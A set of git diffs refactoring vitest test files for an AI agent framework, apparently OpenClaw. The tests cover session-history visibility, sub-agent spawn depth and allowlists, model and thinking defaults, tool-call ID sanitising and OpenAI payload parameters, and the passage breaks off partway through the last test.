@@ -36,19 +63,10 @@ describe("sessions tools visibility", () => {
const key = typeof req.params?.key === "string" ? String(req.params?.key) : "";
return { key };
}
if (req.method === "chat.history") {
return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] };
}
return {};
return undefined;
});
const tool = createOpenClawTools({ agentSessionKey: "main" }).find(
(candidate) => candidate.name === "sessions_history",
);
expect(tool).toBeDefined();
if (!tool) {
throw new Error("missing sessions_history tool");
}
const tool = getSessionsHistoryTool();
const denied = await tool.execute("call1", {
sessionKey: "agent:main:discord:direct:someone-else",
@@ -66,22 +84,8 @@ describe("sessions tools visibility", () => {
session: { mainKey: "main", scope: "per-sender" },
tools: { sessions: { visibility: "all" }, agentToAgent: { enabled: false } },
};
callGatewayMock.mockReset();
callGatewayMock.mockImplementation(async (opts: unknown) => {
const req = opts as { method?: string; params?: Record<string, unknown> };
if (req.method === "chat.history") {
return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] };
}
return {};
});
const tool = createOpenClawTools({ agentSessionKey: "main" }).find(
(candidate) => candidate.name === "sessions_history",
);
expect(tool).toBeDefined();
if (!tool) {
throw new Error("missing sessions_history tool");
}
mockGatewayWithHistory();
const tool = getSessionsHistoryTool();
const result = await tool.execute("call3", {
sessionKey: "agent:main:discord:direct:someone-else",
@@ -97,25 +101,14 @@ describe("sessions tools visibility", () => {
tools: { sessions: { visibility: "all" }, agentToAgent: { enabled: true, allow: ["*"] } },
agents: { defaults: { sandbox: { sessionToolsVisibility: "spawned" } } },
};
callGatewayMock.mockReset();
callGatewayMock.mockImplementation(async (opts: unknown) => {
const req = opts as { method?: string; params?: Record<string, unknown> };
mockGatewayWithHistory((req) => {
if (req.method === "sessions.list" && req.params?.spawnedBy === "main") {
return { sessions: [] };
}
if (req.method === "chat.history") {
return { messages: [{ role: "assistant", content: [{ type: "text", text: "ok" }] }] };
}
return {};
return undefined;
});
const tool = createOpenClawTools({ agentSessionKey: "main", sandboxed: true }).find(
(candidate) => candidate.name === "sessions_history",
);
expect(tool).toBeDefined();
if (!tool) {
throw new Error("missing sessions_history tool");
}
const tool = getSessionsHistoryTool({ sandboxed: true });
const denied = await tool.execute("call4", {
sessionKey: "agent:other:main",

View File

@@ -52,36 +52,40 @@ function findLastCall(calls: GatewayCall[], predicate: (call: GatewayCall) => bo
return undefined;
}
async function expectThinkingPropagation(params: {
callId: string;
payload: Record<string, unknown>;
expectedThinking: string;
}) {
const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" });
const result = await tool.execute(params.callId, params.payload);
expect(result.details).toMatchObject({ status: "accepted" });
const calls = await getGatewayCalls();
const agentCall = findLastCall(calls, (call) => call.method === "agent");
const thinkingPatch = findLastCall(
calls,
(call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined,
);
expect(agentCall?.params?.thinking).toBe(params.expectedThinking);
expect(thinkingPatch?.params?.thinkingLevel).toBe(params.expectedThinking);
}
describe("sessions_spawn thinking defaults", () => {
it("applies agents.defaults.subagents.thinking when thinking is omitted", async () => {
const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" });
const result = await tool.execute("call-1", { task: "hello" });
expect(result.details).toMatchObject({ status: "accepted" });
const calls = await getGatewayCalls();
const agentCall = findLastCall(calls, (call) => call.method === "agent");
const thinkingPatch = findLastCall(
calls,
(call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined,
);
expect(agentCall?.params?.thinking).toBe("high");
expect(thinkingPatch?.params?.thinkingLevel).toBe("high");
await expectThinkingPropagation({
callId: "call-1",
payload: { task: "hello" },
expectedThinking: "high",
});
});
it("prefers explicit sessions_spawn.thinking over config default", async () => {
const tool = createSessionsSpawnTool({ agentSessionKey: "agent:test:main" });
const result = await tool.execute("call-2", { task: "hello", thinking: "low" });
expect(result.details).toMatchObject({ status: "accepted" });
const calls = await getGatewayCalls();
const agentCall = findLastCall(calls, (call) => call.method === "agent");
const thinkingPatch = findLastCall(
calls,
(call) => call.method === "sessions.patch" && call.params?.thinkingLevel !== undefined,
);
expect(agentCall?.params?.thinking).toBe("low");
expect(thinkingPatch?.params?.thinkingLevel).toBe("low");
await expectThinkingPropagation({
callId: "call-2",
payload: { task: "hello", thinking: "low" },
expectedThinking: "low",
});
});
});

View File

@@ -33,6 +33,39 @@ function writeStore(agentId: string, store: Record<string, unknown>) {
fs.writeFileSync(storePath, JSON.stringify(store, null, 2), "utf-8");
}
function setSubagentLimits(subagents: Record<string, unknown>) {
configOverride = {
session: {
mainKey: "main",
scope: "per-sender",
store: storeTemplatePath,
},
agents: {
defaults: {
subagents,
},
},
};
}
function seedDepthTwoAncestryStore(params?: { sessionIds?: boolean }) {
const depth1 = "agent:main:subagent:depth-1";
const callerKey = "agent:main:subagent:depth-2";
writeStore("main", {
[depth1]: {
sessionId: params?.sessionIds ? "depth-1-session" : "depth-1",
updatedAt: Date.now(),
spawnedBy: "agent:main:main",
},
[callerKey]: {
sessionId: params?.sessionIds ? "depth-2-session" : "depth-2",
updatedAt: Date.now(),
spawnedBy: depth1,
},
});
return { depth1, callerKey };
}
describe("sessions_spawn depth + child limits", () => {
beforeEach(() => {
resetSubagentRegistryForTests();
@@ -72,20 +105,7 @@ describe("sessions_spawn depth + child limits", () => {
});
it("allows depth-1 callers when maxSpawnDepth is 2", async () => {
configOverride = {
session: {
mainKey: "main",
scope: "per-sender",
store: storeTemplatePath,
},
agents: {
defaults: {
subagents: {
maxSpawnDepth: 2,
},
},
},
};
setSubagentLimits({ maxSpawnDepth: 2 });
const tool = createSessionsSpawnTool({ agentSessionKey: "agent:main:subagent:parent" });
const result = await tool.execute("call-depth-allow", { task: "hello" });
@@ -109,20 +129,7 @@ describe("sessions_spawn depth + child limits", () => {
});
it("rejects depth-2 callers when maxSpawnDepth is 2 (using stored spawnDepth on flat keys)", async () => {
configOverride = {
session: {
mainKey: "main",
scope: "per-sender",
store: storeTemplatePath,
},
agents: {
defaults: {
subagents: {
maxSpawnDepth: 2,
},
},
},
};
setSubagentLimits({ maxSpawnDepth: 2 });
const callerKey = "agent:main:subagent:flat-depth-2";
writeStore("main", {
@@ -143,35 +150,8 @@ describe("sessions_spawn depth + child limits", () => {
});
it("rejects depth-2 callers when spawnDepth is missing but spawnedBy ancestry implies depth 2", async () => {
configOverride = {
session: {
mainKey: "main",
scope: "per-sender",
store: storeTemplatePath,
},
agents: {
defaults: {
subagents: {
maxSpawnDepth: 2,
},
},
},
};
const depth1 = "agent:main:subagent:depth-1";
const callerKey = "agent:main:subagent:depth-2";
writeStore("main", {
[depth1]: {
sessionId: "depth-1",
updatedAt: Date.now(),
spawnedBy: "agent:main:main",
},
[callerKey]: {
sessionId: "depth-2",
updatedAt: Date.now(),
spawnedBy: depth1,
},
});
setSubagentLimits({ maxSpawnDepth: 2 });
const { callerKey } = seedDepthTwoAncestryStore();
const tool = createSessionsSpawnTool({ agentSessionKey: callerKey });
const result = await tool.execute("call-depth-ancestry-reject", { task: "hello" });
@@ -183,35 +163,8 @@ describe("sessions_spawn depth + child limits", () => {
});
it("rejects depth-2 callers when the requester key is a sessionId", async () => {
configOverride = {
session: {
mainKey: "main",
scope: "per-sender",
store: storeTemplatePath,
},
agents: {
defaults: {
subagents: {
maxSpawnDepth: 2,
},
},
},
};
const depth1 = "agent:main:subagent:depth-1";
const callerKey = "agent:main:subagent:depth-2";
writeStore("main", {
[depth1]: {
sessionId: "depth-1-session",
updatedAt: Date.now(),
spawnedBy: "agent:main:main",
},
[callerKey]: {
sessionId: "depth-2-session",
updatedAt: Date.now(),
spawnedBy: depth1,
},
});
setSubagentLimits({ maxSpawnDepth: 2 });
seedDepthTwoAncestryStore({ sessionIds: true });
const tool = createSessionsSpawnTool({ agentSessionKey: "depth-2-session" });
const result = await tool.execute("call-depth-sessionid-reject", { task: "hello" });

View File

@@ -2,6 +2,7 @@ import { beforeEach, describe, expect, it } from "vitest";
import "./test-helpers/fast-core-tools.js";
import {
getCallGatewayMock,
getSessionsSpawnTool,
resetSessionsSpawnConfigOverride,
setSessionsSpawnConfigOverride,
} from "./openclaw-tools.subagents.sessions-spawn.test-harness.js";
@@ -9,20 +10,71 @@ import { resetSubagentRegistryForTests } from "./subagent-registry.js";
const callGatewayMock = getCallGatewayMock();
type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"];
type CreateOpenClawToolsOpts = Parameters<CreateOpenClawTools>[0];
async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) {
// Dynamic import: ensure harness mocks are installed before tool modules load.
const { createOpenClawTools } = await import("./openclaw-tools.js");
const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn");
if (!tool) {
throw new Error("missing sessions_spawn tool");
}
return tool;
}
describe("openclaw-tools: subagents (sessions_spawn allowlist)", () => {
function setAllowAgents(allowAgents: string[]) {
setSessionsSpawnConfigOverride({
session: {
mainKey: "main",
scope: "per-sender",
},
agents: {
list: [
{
id: "main",
subagents: {
allowAgents,
},
},
],
},
});
}
function mockAcceptedSpawn(acceptedAt: number) {
let childSessionKey: string | undefined;
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
if (request.method === "agent") {
const params = request.params as { sessionKey?: string } | undefined;
childSessionKey = params?.sessionKey;
return { runId: "run-1", status: "accepted", acceptedAt };
}
if (request.method === "agent.wait") {
return { status: "timeout" };
}
return {};
});
return () => childSessionKey;
}
async function executeSpawn(callId: string, agentId: string) {
const tool = await getSessionsSpawnTool({
agentSessionKey: "main",
agentChannel: "whatsapp",
});
return tool.execute(callId, { task: "do thing", agentId });
}
async function expectAllowedSpawn(params: {
allowAgents: string[];
agentId: string;
callId: string;
acceptedAt: number;
}) {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
setAllowAgents(params.allowAgents);
const getChildSessionKey = mockAcceptedSpawn(params.acceptedAt);
const result = await executeSpawn(params.callId, params.agentId);
expect(result.details).toMatchObject({
status: "accepted",
runId: "run-1",
});
expect(getChildSessionKey()?.startsWith(`agent:${params.agentId}:subagent:`)).toBe(true);
}
beforeEach(() => {
resetSessionsSpawnConfigOverride();
});
@@ -82,155 +134,29 @@ describe("openclaw-tools: subagents (sessions_spawn allowlist)", () => {
});
it("sessions_spawn allows cross-agent spawning when configured", async () => {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
setSessionsSpawnConfigOverride({
session: {
mainKey: "main",
scope: "per-sender",
},
agents: {
list: [
{
id: "main",
subagents: {
allowAgents: ["beta"],
},
},
],
},
});
let childSessionKey: string | undefined;
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
if (request.method === "agent") {
const params = request.params as { sessionKey?: string } | undefined;
childSessionKey = params?.sessionKey;
return { runId: "run-1", status: "accepted", acceptedAt: 5000 };
}
if (request.method === "agent.wait") {
return { status: "timeout" };
}
return {};
});
const tool = await getSessionsSpawnTool({
agentSessionKey: "main",
agentChannel: "whatsapp",
});
const result = await tool.execute("call7", {
task: "do thing",
await expectAllowedSpawn({
allowAgents: ["beta"],
agentId: "beta",
callId: "call7",
acceptedAt: 5000,
});
expect(result.details).toMatchObject({
status: "accepted",
runId: "run-1",
});
expect(childSessionKey?.startsWith("agent:beta:subagent:")).toBe(true);
});
it("sessions_spawn allows any agent when allowlist is *", async () => {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
setSessionsSpawnConfigOverride({
session: {
mainKey: "main",
scope: "per-sender",
},
agents: {
list: [
{
id: "main",
subagents: {
allowAgents: ["*"],
},
},
],
},
});
let childSessionKey: string | undefined;
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
if (request.method === "agent") {
const params = request.params as { sessionKey?: string } | undefined;
childSessionKey = params?.sessionKey;
return { runId: "run-1", status: "accepted", acceptedAt: 5100 };
}
if (request.method === "agent.wait") {
return { status: "timeout" };
}
return {};
});
const tool = await getSessionsSpawnTool({
agentSessionKey: "main",
agentChannel: "whatsapp",
});
const result = await tool.execute("call8", {
task: "do thing",
await expectAllowedSpawn({
allowAgents: ["*"],
agentId: "beta",
callId: "call8",
acceptedAt: 5100,
});
expect(result.details).toMatchObject({
status: "accepted",
runId: "run-1",
});
expect(childSessionKey?.startsWith("agent:beta:subagent:")).toBe(true);
});
it("sessions_spawn normalizes allowlisted agent ids", async () => {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
setSessionsSpawnConfigOverride({
session: {
mainKey: "main",
scope: "per-sender",
},
agents: {
list: [
{
id: "main",
subagents: {
allowAgents: ["Research"],
},
},
],
},
});
let childSessionKey: string | undefined;
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
if (request.method === "agent") {
const params = request.params as { sessionKey?: string } | undefined;
childSessionKey = params?.sessionKey;
return { runId: "run-1", status: "accepted", acceptedAt: 5200 };
}
if (request.method === "agent.wait") {
return { status: "timeout" };
}
return {};
});
const tool = await getSessionsSpawnTool({
agentSessionKey: "main",
agentChannel: "whatsapp",
});
const result = await tool.execute("call10", {
task: "do thing",
await expectAllowedSpawn({
allowAgents: ["Research"],
agentId: "research",
callId: "call10",
acceptedAt: 5200,
});
expect(result.details).toMatchObject({
status: "accepted",
runId: "run-1",
});
expect(childSessionKey?.startsWith("agent:research:subagent:")).toBe(true);
});
});

View File

@@ -3,24 +3,60 @@ import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "./defaults.js";
import "./test-helpers/fast-core-tools.js";
import {
getCallGatewayMock,
getSessionsSpawnTool,
resetSessionsSpawnConfigOverride,
setSessionsSpawnConfigOverride,
} from "./openclaw-tools.subagents.sessions-spawn.test-harness.js";
import { resetSubagentRegistryForTests } from "./subagent-registry.js";
const callGatewayMock = getCallGatewayMock();
type GatewayCall = { method?: string; params?: unknown };
type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"];
type CreateOpenClawToolsOpts = Parameters<CreateOpenClawTools>[0];
function mockLongRunningSpawnFlow(params: {
calls: GatewayCall[];
acceptedAtBase: number;
patch?: (request: GatewayCall) => Promise<unknown>;
}) {
let agentCallCount = 0;
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as GatewayCall;
params.calls.push(request);
if (request.method === "sessions.patch") {
if (params.patch) {
return await params.patch(request);
}
return { ok: true };
}
if (request.method === "agent") {
agentCallCount += 1;
return {
runId: `run-${agentCallCount}`,
status: "accepted",
acceptedAt: params.acceptedAtBase + agentCallCount,
};
}
if (request.method === "agent.wait") {
return { status: "timeout" };
}
if (request.method === "sessions.delete") {
return { ok: true };
}
return {};
});
}
async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) {
// Dynamic import: ensure harness mocks are installed before tool modules load.
const { createOpenClawTools } = await import("./openclaw-tools.js");
const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn");
if (!tool) {
throw new Error("missing sessions_spawn tool");
}
return tool;
function mockPatchAndSingleAgentRun(params: { calls: GatewayCall[]; runId: string }) {
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as GatewayCall;
params.calls.push(request);
if (request.method === "sessions.patch") {
return { ok: true };
}
if (request.method === "agent") {
return { runId: params.runId, status: "accepted" };
}
return {};
});
}
describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
@@ -31,32 +67,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
it("sessions_spawn applies a model to the child session", async () => {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
const calls: Array<{ method?: string; params?: unknown }> = [];
let agentCallCount = 0;
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
calls.push(request);
if (request.method === "sessions.patch") {
return { ok: true };
}
if (request.method === "agent") {
agentCallCount += 1;
const runId = `run-${agentCallCount}`;
return {
runId,
status: "accepted",
acceptedAt: 3000 + agentCallCount,
};
}
if (request.method === "agent.wait") {
return { status: "timeout" };
}
if (request.method === "sessions.delete") {
return { ok: true };
}
return {};
});
const calls: GatewayCall[] = [];
mockLongRunningSpawnFlow({ calls, acceptedAtBase: 3000 });
const tool = await getSessionsSpawnTool({
agentSessionKey: "discord:group:req",
@@ -155,19 +167,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
session: { mainKey: "main", scope: "per-sender" },
agents: { defaults: { subagents: { model: "minimax/MiniMax-M2.1" } } },
});
const calls: Array<{ method?: string; params?: unknown }> = [];
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
calls.push(request);
if (request.method === "sessions.patch") {
return { ok: true };
}
if (request.method === "agent") {
return { runId: "run-default-model", status: "accepted" };
}
return {};
});
const calls: GatewayCall[] = [];
mockPatchAndSingleAgentRun({ calls, runId: "run-default-model" });
const tool = await getSessionsSpawnTool({
agentSessionKey: "agent:main:main",
@@ -193,19 +194,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
it("sessions_spawn falls back to runtime default model when no model config is set", async () => {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
const calls: Array<{ method?: string; params?: unknown }> = [];
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
calls.push(request);
if (request.method === "sessions.patch") {
return { ok: true };
}
if (request.method === "agent") {
return { runId: "run-runtime-default-model", status: "accepted" };
}
return {};
});
const calls: GatewayCall[] = [];
mockPatchAndSingleAgentRun({ calls, runId: "run-runtime-default-model" });
const tool = await getSessionsSpawnTool({
agentSessionKey: "agent:main:main",
@@ -238,19 +228,8 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
list: [{ id: "research", subagents: { model: "opencode/claude" } }],
},
});
const calls: Array<{ method?: string; params?: unknown }> = [];
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
calls.push(request);
if (request.method === "sessions.patch") {
return { ok: true };
}
if (request.method === "agent") {
return { runId: "run-agent-model", status: "accepted" };
}
return {};
});
const calls: GatewayCall[] = [];
mockPatchAndSingleAgentRun({ calls, runId: "run-agent-model" });
const tool = await getSessionsSpawnTool({
agentSessionKey: "agent:research:main",
@@ -276,35 +255,17 @@ describe("openclaw-tools: subagents (sessions_spawn model + thinking)", () => {
it("sessions_spawn skips invalid model overrides and continues", async () => {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
const calls: Array<{ method?: string; params?: unknown }> = [];
let agentCallCount = 0;
callGatewayMock.mockImplementation(async (opts: unknown) => {
const request = opts as { method?: string; params?: unknown };
calls.push(request);
if (request.method === "sessions.patch") {
const calls: GatewayCall[] = [];
mockLongRunningSpawnFlow({
calls,
acceptedAtBase: 4000,
patch: async (request) => {
const model = (request.params as { model?: unknown } | undefined)?.model;
if (model === "bad-model") {
throw new Error("invalid model: bad-model");
}
return { ok: true };
}
if (request.method === "agent") {
agentCallCount += 1;
const runId = `run-${agentCallCount}`;
return {
runId,
status: "accepted",
acceptedAt: 4000 + agentCallCount,
};
}
if (request.method === "agent.wait") {
return { status: "timeout" };
}
if (request.method === "sessions.delete") {
return { ok: true };
}
return {};
},
});
const tool = await getSessionsSpawnTool({

View File

@@ -1,6 +1,8 @@
import { vi } from "vitest";
type SessionsSpawnTestConfig = ReturnType<(typeof import("../config/config.js"))["loadConfig"]>;
type CreateOpenClawTools = (typeof import("./openclaw-tools.js"))["createOpenClawTools"];
export type CreateOpenClawToolsOpts = Parameters<CreateOpenClawTools>[0];
// Avoid exporting vitest mock types (TS2742 under pnpm + d.ts emit).
// oxlint-disable-next-line typescript/no-explicit-any
@@ -30,6 +32,16 @@ export function setSessionsSpawnConfigOverride(next: SessionsSpawnTestConfig): v
hoisted.state.configOverride = next;
}
export async function getSessionsSpawnTool(opts: CreateOpenClawToolsOpts) {
// Dynamic import: ensure harness mocks are installed before tool modules load.
const { createOpenClawTools } = await import("./openclaw-tools.js");
const tool = createOpenClawTools(opts).find((candidate) => candidate.name === "sessions_spawn");
if (!tool) {
throw new Error("missing sessions_spawn tool");
}
return tool;
}
vi.mock("../gateway/call.js", () => ({
callGateway: (opts: unknown) => hoisted.callGatewayMock(opts),
}));

View File

@@ -2,51 +2,36 @@ import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { beforeEach, describe, expect, it, vi } from "vitest";
const callGatewayMock = vi.fn();
vi.mock("../gateway/call.js", () => ({
callGateway: (opts: unknown) => callGatewayMock(opts),
}));
let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfig"]> = {
session: {
mainKey: "main",
scope: "per-sender",
},
};
vi.mock("../config/config.js", async (importOriginal) => {
const actual = await importOriginal<typeof import("../config/config.js")>();
return {
...actual,
loadConfig: () => configOverride,
};
});
import "./test-helpers/fast-core-tools.js";
import { createOpenClawTools } from "./openclaw-tools.js";
import {
addSubagentRunForTests,
listSubagentRunsForRequester,
resetSubagentRegistryForTests,
} from "./subagent-registry.js";
callGatewayMock,
setSubagentsConfigOverride,
} from "./openclaw-tools.subagents.test-harness.js";
import "./test-helpers/fast-core-tools.js";
let createOpenClawTools: (typeof import("./openclaw-tools.js"))["createOpenClawTools"];
let addSubagentRunForTests: (typeof import("./subagent-registry.js"))["addSubagentRunForTests"];
let listSubagentRunsForRequester: (typeof import("./subagent-registry.js"))["listSubagentRunsForRequester"];
let resetSubagentRegistryForTests: (typeof import("./subagent-registry.js"))["resetSubagentRegistryForTests"];
describe("openclaw-tools: subagents steer failure", () => {
beforeEach(() => {
beforeEach(async () => {
vi.resetModules();
({ createOpenClawTools } = await import("./openclaw-tools.js"));
({ addSubagentRunForTests, listSubagentRunsForRequester, resetSubagentRegistryForTests } =
await import("./subagent-registry.js"));
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
const storePath = path.join(
os.tmpdir(),
`openclaw-subagents-steer-${Date.now()}-${Math.random().toString(16).slice(2)}.json`,
);
configOverride = {
setSubagentsConfigOverride({
session: {
mainKey: "main",
scope: "per-sender",
store: storePath,
},
};
});
fs.writeFileSync(storePath, "{}", "utf-8");
});

View File

@@ -0,0 +1,35 @@
import { vi } from "vitest";
export type LoadedConfig = ReturnType<(typeof import("../config/config.js"))["loadConfig"]>;
export const callGatewayMock = vi.fn();
const defaultConfig: LoadedConfig = {
session: {
mainKey: "main",
scope: "per-sender",
},
};
let configOverride: LoadedConfig = defaultConfig;
export function setSubagentsConfigOverride(next: LoadedConfig) {
configOverride = next;
}
export function resetSubagentsConfigOverride() {
configOverride = defaultConfig;
}
vi.mock("../gateway/call.js", () => ({
callGateway: (opts: unknown) => callGatewayMock(opts),
}));
vi.mock("../config/config.js", async (importOriginal) => {
const actual = await importOriginal<typeof import("../config/config.js")>();
return {
...actual,
loadConfig: () => configOverride,
resolveGatewayPort: () => 18789,
};
});

View File

@@ -5,89 +5,76 @@ import {
sanitizeSessionMessagesImages,
} from "./pi-embedded-helpers.js";
function makeToolCallResultPairInput(): AgentMessage[] {
return [
{
role: "assistant",
content: [
{
type: "toolCall",
id: "call_123|fc_456",
name: "read",
arguments: { path: "package.json" },
},
],
},
{
role: "toolResult",
toolCallId: "call_123|fc_456",
toolName: "read",
content: [{ type: "text", text: "ok" }],
isError: false,
},
] as AgentMessage[];
}
function expectToolCallAndResultIds(out: AgentMessage[], expectedId: string) {
const assistant = out[0] as unknown as { role?: string; content?: unknown };
expect(assistant.role).toBe("assistant");
expect(Array.isArray(assistant.content)).toBe(true);
const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find(
(block) => block.type === "toolCall",
);
expect(toolCall?.id).toBe(expectedId);
const toolResult = out[1] as unknown as {
role?: string;
toolCallId?: string;
};
expect(toolResult.role).toBe("toolResult");
expect(toolResult.toolCallId).toBe(expectedId);
}
function expectSingleAssistantContentEntry(
out: AgentMessage[],
expectEntry: (entry: { type?: string; text?: string }) => void,
) {
expect(out).toHaveLength(1);
const content = (out[0] as { content?: unknown }).content;
expect(Array.isArray(content)).toBe(true);
expect(content).toHaveLength(1);
expectEntry((content as Array<{ type?: string; text?: string }>)[0] ?? {});
}
describe("sanitizeSessionMessagesImages", () => {
it("keeps tool call + tool result IDs unchanged by default", async () => {
const input = [
{
role: "assistant",
content: [
{
type: "toolCall",
id: "call_123|fc_456",
name: "read",
arguments: { path: "package.json" },
},
],
},
{
role: "toolResult",
toolCallId: "call_123|fc_456",
toolName: "read",
content: [{ type: "text", text: "ok" }],
isError: false,
},
] satisfies AgentMessage[];
const input = makeToolCallResultPairInput();
const out = await sanitizeSessionMessagesImages(input, "test");
const assistant = out[0] as unknown as { role?: string; content?: unknown };
expect(assistant.role).toBe("assistant");
expect(Array.isArray(assistant.content)).toBe(true);
const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find(
(b) => b.type === "toolCall",
);
expect(toolCall?.id).toBe("call_123|fc_456");
const toolResult = out[1] as unknown as {
role?: string;
toolCallId?: string;
};
expect(toolResult.role).toBe("toolResult");
expect(toolResult.toolCallId).toBe("call_123|fc_456");
expectToolCallAndResultIds(out, "call_123|fc_456");
});
it("sanitizes tool call + tool result IDs in strict mode (alphanumeric only)", async () => {
const input = [
{
role: "assistant",
content: [
{
type: "toolCall",
id: "call_123|fc_456",
name: "read",
arguments: { path: "package.json" },
},
],
},
{
role: "toolResult",
toolCallId: "call_123|fc_456",
toolName: "read",
content: [{ type: "text", text: "ok" }],
isError: false,
},
] satisfies AgentMessage[];
const input = makeToolCallResultPairInput();
const out = await sanitizeSessionMessagesImages(input, "test", {
sanitizeToolCallIds: true,
toolCallIdMode: "strict",
});
const assistant = out[0] as unknown as { role?: string; content?: unknown };
expect(assistant.role).toBe("assistant");
expect(Array.isArray(assistant.content)).toBe(true);
const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find(
(b) => b.type === "toolCall",
);
// Strict mode strips all non-alphanumeric characters
expect(toolCall?.id).toBe("call123fc456");
const toolResult = out[1] as unknown as {
role?: string;
toolCallId?: string;
};
expect(toolResult.role).toBe("toolResult");
expect(toolResult.toolCallId).toBe("call123fc456");
expectToolCallAndResultIds(out, "call123fc456");
});
it("does not synthesize tool call input when missing", async () => {
@@ -119,11 +106,9 @@ describe("sanitizeSessionMessagesImages", () => {
const out = await sanitizeSessionMessagesImages(input, "test");
expect(out).toHaveLength(1);
const content = (out[0] as { content?: unknown }).content;
expect(Array.isArray(content)).toBe(true);
expect(content).toHaveLength(1);
expect((content as Array<{ type?: string }>)[0]?.type).toBe("toolCall");
expectSingleAssistantContentEntry(out, (entry) => {
expect(entry.type).toBe("toolCall");
});
});
it("sanitizes tool ids in strict mode (alphanumeric only)", async () => {
@@ -202,11 +187,9 @@ describe("sanitizeSessionMessagesImages", () => {
const out = await sanitizeSessionMessagesImages(input, "test");
expect(out).toHaveLength(1);
const content = (out[0] as { content?: unknown }).content;
expect(Array.isArray(content)).toBe(true);
expect(content).toHaveLength(1);
expect((content as Array<{ text?: string }>)[0]?.text).toBe("ok");
expectSingleAssistantContentEntry(out, (entry) => {
expect(entry.text).toBe("ok");
});
});
it("drops assistant messages that only contain empty text", async () => {
const input = [

View File

@@ -65,6 +65,27 @@ describe("resolveExtraParams", () => {
});
describe("applyExtraParamsToAgent", () => {
function runStoreMutationCase(params: {
applyProvider: string;
applyModelId: string;
model:
| Model<"openai-responses">
| Model<"openai-codex-responses">
| Model<"openai-completions">;
options?: SimpleStreamOptions;
}) {
const payload = { store: false };
const baseStreamFn: StreamFn = (_model, _context, options) => {
options?.onPayload?.(payload);
return new AssistantMessageEventStream();
};
const agent = { streamFn: baseStreamFn };
applyExtraParamsToAgent(agent, undefined, params.applyProvider, params.applyModelId);
const context: Context = { messages: [] };
void agent.streamFn?.(params.model, context, params.options ?? {});
return payload;
}
it("adds OpenRouter attribution headers to stream options", () => {
const calls: Array<SimpleStreamOptions | undefined> = [];
const baseStreamFn: StreamFn = (_model, _context, options) => {
@@ -93,71 +114,44 @@ describe("applyExtraParamsToAgent", () => {
});
it("forces store=true for direct OpenAI Responses payloads", () => {
const payload = { store: false };
const baseStreamFn: StreamFn = (_model, _context, options) => {
options?.onPayload?.(payload);
return new AssistantMessageEventStream();
};
const agent = { streamFn: baseStreamFn };
applyExtraParamsToAgent(agent, undefined, "openai", "gpt-5");
const model = {
api: "openai-responses",
provider: "openai",
id: "gpt-5",
baseUrl: "https://api.openai.com/v1",
} as Model<"openai-responses">;
const context: Context = { messages: [] };
void agent.streamFn?.(model, context, {});
const payload = runStoreMutationCase({
applyProvider: "openai",
applyModelId: "gpt-5",
model: {
api: "openai-responses",
provider: "openai",
id: "gpt-5",
baseUrl: "https://api.openai.com/v1",
} as Model<"openai-responses">,
});
expect(payload.store).toBe(true);
});
it("does not force store for OpenAI Responses routed through non-OpenAI base URLs", () => {
const payload = { store: false };
const baseStreamFn: StreamFn = (_model, _context, options) => {
options?.onPayload?.(payload);
return new AssistantMessageEventStream();
};
const agent = { streamFn: baseStreamFn };
applyExtraParamsToAgent(agent, undefined, "openai", "gpt-5");
const model = {
api: "openai-responses",
provider: "openai",
id: "gpt-5",
baseUrl: "https://proxy.example.com/v1",
} as Model<"openai-responses">;
const context: Context = { messages: [] };
void agent.streamFn?.(model, context, {});
const payload = runStoreMutationCase({
applyProvider: "openai",
applyModelId: "gpt-5",
model: {
api: "openai-responses",
provider: "openai",
id: "gpt-5",
baseUrl: "https://proxy.example.com/v1",
} as Model<"openai-responses">,
});
expect(payload.store).toBe(false);
});
it("does not force store=true for Codex responses (Codex requires store=false)", () => {
const payload = { store: false };
const baseStreamFn: StreamFn = (_model, _context, options) => {
options?.onPayload?.(payload);
return new AssistantMessageEventStream();
};
const agent = { streamFn: baseStreamFn };
applyExtraParamsToAgent(agent, undefined, "openai-codex", "codex-mini-latest");
